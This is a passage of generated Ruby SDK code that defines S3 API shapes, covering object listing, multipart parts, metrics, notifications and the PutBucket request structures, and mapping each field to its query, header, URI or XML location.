ListMultipartUploadsRequest.add_member(:key_marker, Shapes::ShapeRef.new(shape: KeyMarker, location: "querystring", location_name: "key-marker"))
ListMultipartUploadsRequest.add_member(:max_uploads, Shapes::ShapeRef.new(shape: MaxUploads, location: "querystring", location_name: "max-uploads"))
ListMultipartUploadsRequest.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location: "querystring", location_name: "prefix"))
ListMultipartUploadsRequest.add_member(:upload_id_marker, Shapes::ShapeRef.new(shape: UploadIdMarker, location: "querystring", location_name: "upload-id-marker"))
ListMultipartUploadsRequest.struct_class = Types::ListMultipartUploadsRequest
ListObjectVersionsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListObjectVersionsOutput.add_member(:key_marker, Shapes::ShapeRef.new(shape: KeyMarker, location_name: "KeyMarker"))
ListObjectVersionsOutput.add_member(:version_id_marker, Shapes::ShapeRef.new(shape: VersionIdMarker, location_name: "VersionIdMarker"))
ListObjectVersionsOutput.add_member(:next_key_marker, Shapes::ShapeRef.new(shape: NextKeyMarker, location_name: "NextKeyMarker"))
ListObjectVersionsOutput.add_member(:next_version_id_marker, Shapes::ShapeRef.new(shape: NextVersionIdMarker, location_name: "NextVersionIdMarker"))
ListObjectVersionsOutput.add_member(:versions, Shapes::ShapeRef.new(shape: ObjectVersionList, location_name: "Version"))
ListObjectVersionsOutput.add_member(:delete_markers, Shapes::ShapeRef.new(shape: DeleteMarkers, location_name: "DeleteMarker"))
ListObjectVersionsOutput.add_member(:name, Shapes::ShapeRef.new(shape: BucketName, location_name: "Name"))
ListObjectVersionsOutput.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
ListObjectVersionsOutput.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location_name: "Delimiter"))
ListObjectVersionsOutput.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location_name: "MaxKeys"))
ListObjectVersionsOutput.add_member(:common_prefixes, Shapes::ShapeRef.new(shape: CommonPrefixList, location_name: "CommonPrefixes"))
ListObjectVersionsOutput.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location_name: "EncodingType"))
ListObjectVersionsOutput.struct_class = Types::ListObjectVersionsOutput
ListObjectVersionsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListObjectVersionsRequest.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location: "querystring", location_name: "delimiter"))
ListObjectVersionsRequest.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location: "querystring", location_name: "encoding-type"))
ListObjectVersionsRequest.add_member(:key_marker, Shapes::ShapeRef.new(shape: KeyMarker, location: "querystring", location_name: "key-marker"))
ListObjectVersionsRequest.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location: "querystring", location_name: "max-keys"))
ListObjectVersionsRequest.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location: "querystring", location_name: "prefix"))
ListObjectVersionsRequest.add_member(:version_id_marker, Shapes::ShapeRef.new(shape: VersionIdMarker, location: "querystring", location_name: "version-id-marker"))
ListObjectVersionsRequest.struct_class = Types::ListObjectVersionsRequest
ListObjectsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListObjectsOutput.add_member(:marker, Shapes::ShapeRef.new(shape: Marker, location_name: "Marker"))
ListObjectsOutput.add_member(:next_marker, Shapes::ShapeRef.new(shape: NextMarker, location_name: "NextMarker"))
ListObjectsOutput.add_member(:contents, Shapes::ShapeRef.new(shape: ObjectList, location_name: "Contents"))
ListObjectsOutput.add_member(:name, Shapes::ShapeRef.new(shape: BucketName, location_name: "Name"))
ListObjectsOutput.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
ListObjectsOutput.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location_name: "Delimiter"))
ListObjectsOutput.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location_name: "MaxKeys"))
ListObjectsOutput.add_member(:common_prefixes, Shapes::ShapeRef.new(shape: CommonPrefixList, location_name: "CommonPrefixes"))
ListObjectsOutput.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location_name: "EncodingType"))
ListObjectsOutput.struct_class = Types::ListObjectsOutput
ListObjectsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListObjectsRequest.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location: "querystring", location_name: "delimiter"))
ListObjectsRequest.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location: "querystring", location_name: "encoding-type"))
ListObjectsRequest.add_member(:marker, Shapes::ShapeRef.new(shape: Marker, location: "querystring", location_name: "marker"))
ListObjectsRequest.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location: "querystring", location_name: "max-keys"))
ListObjectsRequest.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location: "querystring", location_name: "prefix"))
ListObjectsRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
ListObjectsRequest.struct_class = Types::ListObjectsRequest
ListObjectsV2Output.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListObjectsV2Output.add_member(:contents, Shapes::ShapeRef.new(shape: ObjectList, location_name: "Contents"))
ListObjectsV2Output.add_member(:name, Shapes::ShapeRef.new(shape: BucketName, location_name: "Name"))
ListObjectsV2Output.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
ListObjectsV2Output.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location_name: "Delimiter"))
ListObjectsV2Output.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location_name: "MaxKeys"))
ListObjectsV2Output.add_member(:common_prefixes, Shapes::ShapeRef.new(shape: CommonPrefixList, location_name: "CommonPrefixes"))
ListObjectsV2Output.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location_name: "EncodingType"))
ListObjectsV2Output.add_member(:key_count, Shapes::ShapeRef.new(shape: KeyCount, location_name: "KeyCount"))
ListObjectsV2Output.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location_name: "ContinuationToken"))
ListObjectsV2Output.add_member(:next_continuation_token, Shapes::ShapeRef.new(shape: NextToken, location_name: "NextContinuationToken"))
ListObjectsV2Output.add_member(:start_after, Shapes::ShapeRef.new(shape: StartAfter, location_name: "StartAfter"))
ListObjectsV2Output.struct_class = Types::ListObjectsV2Output
ListObjectsV2Request.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListObjectsV2Request.add_member(:delimiter, Shapes::ShapeRef.new(shape: Delimiter, location: "querystring", location_name: "delimiter"))
ListObjectsV2Request.add_member(:encoding_type, Shapes::ShapeRef.new(shape: EncodingType, location: "querystring", location_name: "encoding-type"))
ListObjectsV2Request.add_member(:max_keys, Shapes::ShapeRef.new(shape: MaxKeys, location: "querystring", location_name: "max-keys"))
ListObjectsV2Request.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location: "querystring", location_name: "prefix"))
ListObjectsV2Request.add_member(:continuation_token, Shapes::ShapeRef.new(shape: Token, location: "querystring", location_name: "continuation-token"))
ListObjectsV2Request.add_member(:fetch_owner, Shapes::ShapeRef.new(shape: FetchOwner, location: "querystring", location_name: "fetch-owner"))
ListObjectsV2Request.add_member(:start_after, Shapes::ShapeRef.new(shape: StartAfter, location: "querystring", location_name: "start-after"))
ListObjectsV2Request.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
ListObjectsV2Request.struct_class = Types::ListObjectsV2Request
ListPartsOutput.add_member(:abort_date, Shapes::ShapeRef.new(shape: AbortDate, location: "header", location_name: "x-amz-abort-date"))
ListPartsOutput.add_member(:abort_rule_id, Shapes::ShapeRef.new(shape: AbortRuleId, location: "header", location_name: "x-amz-abort-rule-id"))
ListPartsOutput.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, location_name: "Bucket"))
ListPartsOutput.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
ListPartsOutput.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, location_name: "UploadId"))
ListPartsOutput.add_member(:part_number_marker, Shapes::ShapeRef.new(shape: PartNumberMarker, location_name: "PartNumberMarker"))
ListPartsOutput.add_member(:next_part_number_marker, Shapes::ShapeRef.new(shape: NextPartNumberMarker, location_name: "NextPartNumberMarker"))
ListPartsOutput.add_member(:max_parts, Shapes::ShapeRef.new(shape: MaxParts, location_name: "MaxParts"))
ListPartsOutput.add_member(:is_truncated, Shapes::ShapeRef.new(shape: IsTruncated, location_name: "IsTruncated"))
ListPartsOutput.add_member(:parts, Shapes::ShapeRef.new(shape: Parts, location_name: "Part"))
ListPartsOutput.add_member(:initiator, Shapes::ShapeRef.new(shape: Initiator, location_name: "Initiator"))
ListPartsOutput.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
ListPartsOutput.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location_name: "StorageClass"))
ListPartsOutput.add_member(:request_charged, Shapes::ShapeRef.new(shape: RequestCharged, location: "header", location_name: "x-amz-request-charged"))
ListPartsOutput.struct_class = Types::ListPartsOutput
ListPartsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
ListPartsRequest.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location: "uri", location_name: "Key"))
ListPartsRequest.add_member(:max_parts, Shapes::ShapeRef.new(shape: MaxParts, location: "querystring", location_name: "max-parts"))
ListPartsRequest.add_member(:part_number_marker, Shapes::ShapeRef.new(shape: PartNumberMarker, location: "querystring", location_name: "part-number-marker"))
ListPartsRequest.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, required: true, location: "querystring", location_name: "uploadId"))
ListPartsRequest.add_member(:request_payer, Shapes::ShapeRef.new(shape: RequestPayer, location: "header", location_name: "x-amz-request-payer"))
ListPartsRequest.struct_class = Types::ListPartsRequest
LoggingEnabled.add_member(:target_bucket, Shapes::ShapeRef.new(shape: TargetBucket, required: true, location_name: "TargetBucket"))
LoggingEnabled.add_member(:target_grants, Shapes::ShapeRef.new(shape: TargetGrants, location_name: "TargetGrants"))
LoggingEnabled.add_member(:target_prefix, Shapes::ShapeRef.new(shape: TargetPrefix, required: true, location_name: "TargetPrefix"))
LoggingEnabled.struct_class = Types::LoggingEnabled
Metadata.key = Shapes::ShapeRef.new(shape: MetadataKey)
Metadata.value = Shapes::ShapeRef.new(shape: MetadataValue)
MetadataEntry.add_member(:name, Shapes::ShapeRef.new(shape: MetadataKey, location_name: "Name"))
MetadataEntry.add_member(:value, Shapes::ShapeRef.new(shape: MetadataValue, location_name: "Value"))
MetadataEntry.struct_class = Types::MetadataEntry
MetricsAndOperator.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
MetricsAndOperator.add_member(:tags, Shapes::ShapeRef.new(shape: TagSet, location_name: "Tag", metadata: {"flattened"=>true}))
MetricsAndOperator.struct_class = Types::MetricsAndOperator
MetricsConfiguration.add_member(:id, Shapes::ShapeRef.new(shape: MetricsId, required: true, location_name: "Id"))
MetricsConfiguration.add_member(:filter, Shapes::ShapeRef.new(shape: MetricsFilter, location_name: "Filter"))
MetricsConfiguration.struct_class = Types::MetricsConfiguration
MetricsConfigurationList.member = Shapes::ShapeRef.new(shape: MetricsConfiguration)
MetricsFilter.add_member(:prefix, Shapes::ShapeRef.new(shape: Prefix, location_name: "Prefix"))
MetricsFilter.add_member(:tag, Shapes::ShapeRef.new(shape: Tag, location_name: "Tag"))
MetricsFilter.add_member(:and, Shapes::ShapeRef.new(shape: MetricsAndOperator, location_name: "And"))
MetricsFilter.struct_class = Types::MetricsFilter
MultipartUpload.add_member(:upload_id, Shapes::ShapeRef.new(shape: MultipartUploadId, location_name: "UploadId"))
MultipartUpload.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
MultipartUpload.add_member(:initiated, Shapes::ShapeRef.new(shape: Initiated, location_name: "Initiated"))
MultipartUpload.add_member(:storage_class, Shapes::ShapeRef.new(shape: StorageClass, location_name: "StorageClass"))
MultipartUpload.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
MultipartUpload.add_member(:initiator, Shapes::ShapeRef.new(shape: Initiator, location_name: "Initiator"))
MultipartUpload.struct_class = Types::MultipartUpload
MultipartUploadList.member = Shapes::ShapeRef.new(shape: MultipartUpload)
NoncurrentVersionExpiration.add_member(:noncurrent_days, Shapes::ShapeRef.new(shape: Days, location_name: "NoncurrentDays"))
NoncurrentVersionExpiration.struct_class = Types::NoncurrentVersionExpiration
NoncurrentVersionTransition.add_member(:noncurrent_days, Shapes::ShapeRef.new(shape: Days, location_name: "NoncurrentDays"))
NoncurrentVersionTransition.add_member(:storage_class, Shapes::ShapeRef.new(shape: TransitionStorageClass, location_name: "StorageClass"))
NoncurrentVersionTransition.struct_class = Types::NoncurrentVersionTransition
NoncurrentVersionTransitionList.member = Shapes::ShapeRef.new(shape: NoncurrentVersionTransition)
NotificationConfiguration.add_member(:topic_configurations, Shapes::ShapeRef.new(shape: TopicConfigurationList, location_name: "TopicConfiguration"))
NotificationConfiguration.add_member(:queue_configurations, Shapes::ShapeRef.new(shape: QueueConfigurationList, location_name: "QueueConfiguration"))
NotificationConfiguration.add_member(:lambda_function_configurations, Shapes::ShapeRef.new(shape: LambdaFunctionConfigurationList, location_name: "CloudFunctionConfiguration"))
NotificationConfiguration.struct_class = Types::NotificationConfiguration
NotificationConfigurationDeprecated.add_member(:topic_configuration, Shapes::ShapeRef.new(shape: TopicConfigurationDeprecated, location_name: "TopicConfiguration"))
NotificationConfigurationDeprecated.add_member(:queue_configuration, Shapes::ShapeRef.new(shape: QueueConfigurationDeprecated, location_name: "QueueConfiguration"))
NotificationConfigurationDeprecated.add_member(:cloud_function_configuration, Shapes::ShapeRef.new(shape: CloudFunctionConfiguration, location_name: "CloudFunctionConfiguration"))
NotificationConfigurationDeprecated.struct_class = Types::NotificationConfigurationDeprecated
NotificationConfigurationFilter.add_member(:key, Shapes::ShapeRef.new(shape: S3KeyFilter, location_name: "S3Key"))
NotificationConfigurationFilter.struct_class = Types::NotificationConfigurationFilter
Object.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
Object.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
Object.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
Object.add_member(:size, Shapes::ShapeRef.new(shape: Size, location_name: "Size"))
Object.add_member(:storage_class, Shapes::ShapeRef.new(shape: ObjectStorageClass, location_name: "StorageClass"))
Object.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
Object.struct_class = Types::Object
ObjectIdentifier.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, required: true, location_name: "Key"))
ObjectIdentifier.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location_name: "VersionId"))
ObjectIdentifier.struct_class = Types::ObjectIdentifier
ObjectIdentifierList.member = Shapes::ShapeRef.new(shape: ObjectIdentifier)
ObjectList.member = Shapes::ShapeRef.new(shape: Object)
ObjectVersion.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
ObjectVersion.add_member(:size, Shapes::ShapeRef.new(shape: Size, location_name: "Size"))
ObjectVersion.add_member(:storage_class, Shapes::ShapeRef.new(shape: ObjectVersionStorageClass, location_name: "StorageClass"))
ObjectVersion.add_member(:key, Shapes::ShapeRef.new(shape: ObjectKey, location_name: "Key"))
ObjectVersion.add_member(:version_id, Shapes::ShapeRef.new(shape: ObjectVersionId, location_name: "VersionId"))
ObjectVersion.add_member(:is_latest, Shapes::ShapeRef.new(shape: IsLatest, location_name: "IsLatest"))
ObjectVersion.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
ObjectVersion.add_member(:owner, Shapes::ShapeRef.new(shape: Owner, location_name: "Owner"))
ObjectVersion.struct_class = Types::ObjectVersion
ObjectVersionList.member = Shapes::ShapeRef.new(shape: ObjectVersion)
OutputLocation.add_member(:s3, Shapes::ShapeRef.new(shape: S3Location, location_name: "S3"))
OutputLocation.struct_class = Types::OutputLocation
OutputSerialization.add_member(:csv, Shapes::ShapeRef.new(shape: CSVOutput, location_name: "CSV"))
OutputSerialization.add_member(:json, Shapes::ShapeRef.new(shape: JSONOutput, location_name: "JSON"))
OutputSerialization.struct_class = Types::OutputSerialization
Owner.add_member(:display_name, Shapes::ShapeRef.new(shape: DisplayName, location_name: "DisplayName"))
Owner.add_member(:id, Shapes::ShapeRef.new(shape: ID, location_name: "ID"))
Owner.struct_class = Types::Owner
Part.add_member(:part_number, Shapes::ShapeRef.new(shape: PartNumber, location_name: "PartNumber"))
Part.add_member(:last_modified, Shapes::ShapeRef.new(shape: LastModified, location_name: "LastModified"))
Part.add_member(:etag, Shapes::ShapeRef.new(shape: ETag, location_name: "ETag"))
Part.add_member(:size, Shapes::ShapeRef.new(shape: Size, location_name: "Size"))
Part.struct_class = Types::Part
Parts.member = Shapes::ShapeRef.new(shape: Part)
Progress.add_member(:bytes_scanned, Shapes::ShapeRef.new(shape: BytesScanned, location_name: "BytesScanned"))
Progress.add_member(:bytes_processed, Shapes::ShapeRef.new(shape: BytesProcessed, location_name: "BytesProcessed"))
Progress.add_member(:bytes_returned, Shapes::ShapeRef.new(shape: BytesReturned, location_name: "BytesReturned"))
Progress.struct_class = Types::Progress
ProgressEvent.add_member(:details, Shapes::ShapeRef.new(shape: Progress, eventpayload: true, eventpayload_type: 'structure', location_name: "Details", metadata: {"eventpayload"=>true}))
ProgressEvent.struct_class = Types::ProgressEvent
PutBucketAccelerateConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketAccelerateConfigurationRequest.add_member(:accelerate_configuration, Shapes::ShapeRef.new(shape: AccelerateConfiguration, required: true, location_name: "AccelerateConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketAccelerateConfigurationRequest.struct_class = Types::PutBucketAccelerateConfigurationRequest
PutBucketAccelerateConfigurationRequest[:payload] = :accelerate_configuration
PutBucketAccelerateConfigurationRequest[:payload_member] = PutBucketAccelerateConfigurationRequest.member(:accelerate_configuration)
PutBucketAclRequest.add_member(:acl, Shapes::ShapeRef.new(shape: BucketCannedACL, location: "header", location_name: "x-amz-acl"))
PutBucketAclRequest.add_member(:access_control_policy, Shapes::ShapeRef.new(shape: AccessControlPolicy, location_name: "AccessControlPolicy", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketAclRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketAclRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketAclRequest.add_member(:grant_full_control, Shapes::ShapeRef.new(shape: GrantFullControl, location: "header", location_name: "x-amz-grant-full-control"))
PutBucketAclRequest.add_member(:grant_read, Shapes::ShapeRef.new(shape: GrantRead, location: "header", location_name: "x-amz-grant-read"))
PutBucketAclRequest.add_member(:grant_read_acp, Shapes::ShapeRef.new(shape: GrantReadACP, location: "header", location_name: "x-amz-grant-read-acp"))
PutBucketAclRequest.add_member(:grant_write, Shapes::ShapeRef.new(shape: GrantWrite, location: "header", location_name: "x-amz-grant-write"))
PutBucketAclRequest.add_member(:grant_write_acp, Shapes::ShapeRef.new(shape: GrantWriteACP, location: "header", location_name: "x-amz-grant-write-acp"))
PutBucketAclRequest.struct_class = Types::PutBucketAclRequest
PutBucketAclRequest[:payload] = :access_control_policy
PutBucketAclRequest[:payload_member] = PutBucketAclRequest.member(:access_control_policy)
PutBucketAnalyticsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketAnalyticsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: AnalyticsId, required: true, location: "querystring", location_name: "id"))
PutBucketAnalyticsConfigurationRequest.add_member(:analytics_configuration, Shapes::ShapeRef.new(shape: AnalyticsConfiguration, required: true, location_name: "AnalyticsConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketAnalyticsConfigurationRequest.struct_class = Types::PutBucketAnalyticsConfigurationRequest
PutBucketAnalyticsConfigurationRequest[:payload] = :analytics_configuration
PutBucketAnalyticsConfigurationRequest[:payload_member] = PutBucketAnalyticsConfigurationRequest.member(:analytics_configuration)
PutBucketCorsRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketCorsRequest.add_member(:cors_configuration, Shapes::ShapeRef.new(shape: CORSConfiguration, required: true, location_name: "CORSConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketCorsRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketCorsRequest.struct_class = Types::PutBucketCorsRequest
PutBucketCorsRequest[:payload] = :cors_configuration
PutBucketCorsRequest[:payload_member] = PutBucketCorsRequest.member(:cors_configuration)
PutBucketEncryptionRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketEncryptionRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketEncryptionRequest.add_member(:server_side_encryption_configuration, Shapes::ShapeRef.new(shape: ServerSideEncryptionConfiguration, required: true, location_name: "ServerSideEncryptionConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketEncryptionRequest.struct_class = Types::PutBucketEncryptionRequest
PutBucketEncryptionRequest[:payload] = :server_side_encryption_configuration
PutBucketEncryptionRequest[:payload_member] = PutBucketEncryptionRequest.member(:server_side_encryption_configuration)
PutBucketInventoryConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketInventoryConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: InventoryId, required: true, location: "querystring", location_name: "id"))
PutBucketInventoryConfigurationRequest.add_member(:inventory_configuration, Shapes::ShapeRef.new(shape: InventoryConfiguration, required: true, location_name: "InventoryConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketInventoryConfigurationRequest.struct_class = Types::PutBucketInventoryConfigurationRequest
PutBucketInventoryConfigurationRequest[:payload] = :inventory_configuration
PutBucketInventoryConfigurationRequest[:payload_member] = PutBucketInventoryConfigurationRequest.member(:inventory_configuration)
PutBucketLifecycleConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketLifecycleConfigurationRequest.add_member(:lifecycle_configuration, Shapes::ShapeRef.new(shape: BucketLifecycleConfiguration, location_name: "LifecycleConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketLifecycleConfigurationRequest.struct_class = Types::PutBucketLifecycleConfigurationRequest
PutBucketLifecycleConfigurationRequest[:payload] = :lifecycle_configuration
PutBucketLifecycleConfigurationRequest[:payload_member] = PutBucketLifecycleConfigurationRequest.member(:lifecycle_configuration)
PutBucketLifecycleRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketLifecycleRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketLifecycleRequest.add_member(:lifecycle_configuration, Shapes::ShapeRef.new(shape: LifecycleConfiguration, location_name: "LifecycleConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketLifecycleRequest.struct_class = Types::PutBucketLifecycleRequest
PutBucketLifecycleRequest[:payload] = :lifecycle_configuration
PutBucketLifecycleRequest[:payload_member] = PutBucketLifecycleRequest.member(:lifecycle_configuration)
PutBucketLoggingRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketLoggingRequest.add_member(:bucket_logging_status, Shapes::ShapeRef.new(shape: BucketLoggingStatus, required: true, location_name: "BucketLoggingStatus", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketLoggingRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketLoggingRequest.struct_class = Types::PutBucketLoggingRequest
PutBucketLoggingRequest[:payload] = :bucket_logging_status
PutBucketLoggingRequest[:payload_member] = PutBucketLoggingRequest.member(:bucket_logging_status)
PutBucketMetricsConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketMetricsConfigurationRequest.add_member(:id, Shapes::ShapeRef.new(shape: MetricsId, required: true, location: "querystring", location_name: "id"))
PutBucketMetricsConfigurationRequest.add_member(:metrics_configuration, Shapes::ShapeRef.new(shape: MetricsConfiguration, required: true, location_name: "MetricsConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketMetricsConfigurationRequest.struct_class = Types::PutBucketMetricsConfigurationRequest
PutBucketMetricsConfigurationRequest[:payload] = :metrics_configuration
PutBucketMetricsConfigurationRequest[:payload_member] = PutBucketMetricsConfigurationRequest.member(:metrics_configuration)
PutBucketNotificationConfigurationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketNotificationConfigurationRequest.add_member(:notification_configuration, Shapes::ShapeRef.new(shape: NotificationConfiguration, required: true, location_name: "NotificationConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketNotificationConfigurationRequest.struct_class = Types::PutBucketNotificationConfigurationRequest
PutBucketNotificationConfigurationRequest[:payload] = :notification_configuration
PutBucketNotificationConfigurationRequest[:payload_member] = PutBucketNotificationConfigurationRequest.member(:notification_configuration)
PutBucketNotificationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketNotificationRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketNotificationRequest.add_member(:notification_configuration, Shapes::ShapeRef.new(shape: NotificationConfigurationDeprecated, required: true, location_name: "NotificationConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketNotificationRequest.struct_class = Types::PutBucketNotificationRequest
PutBucketNotificationRequest[:payload] = :notification_configuration
PutBucketNotificationRequest[:payload_member] = PutBucketNotificationRequest.member(:notification_configuration)
PutBucketPolicyRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketPolicyRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketPolicyRequest.add_member(:confirm_remove_self_bucket_access, Shapes::ShapeRef.new(shape: ConfirmRemoveSelfBucketAccess, location: "header", location_name: "x-amz-confirm-remove-self-bucket-access"))
PutBucketPolicyRequest.add_member(:policy, Shapes::ShapeRef.new(shape: Policy, required: true, location_name: "Policy"))
PutBucketPolicyRequest.struct_class = Types::PutBucketPolicyRequest
PutBucketPolicyRequest[:payload] = :policy
PutBucketPolicyRequest[:payload_member] = PutBucketPolicyRequest.member(:policy)
PutBucketReplicationRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketReplicationRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
PutBucketReplicationRequest.add_member(:replication_configuration, Shapes::ShapeRef.new(shape: ReplicationConfiguration, required: true, location_name: "ReplicationConfiguration", metadata: {"xmlNamespace"=>{"uri"=>"http://s3.amazonaws.com/doc/2006-03-01/"}}))
PutBucketReplicationRequest.struct_class = Types::PutBucketReplicationRequest
PutBucketReplicationRequest[:payload] = :replication_configuration
PutBucketReplicationRequest[:payload_member] = PutBucketReplicationRequest.member(:replication_configuration)
PutBucketRequestPaymentRequest.add_member(:bucket, Shapes::ShapeRef.new(shape: BucketName, required: true, location: "uri", location_name: "Bucket"))
PutBucketRequestPaymentRequest.add_member(:content_md5, Shapes::ShapeRef.new(shape: ContentMD5, location: "header", location_name: "Content-MD5"))
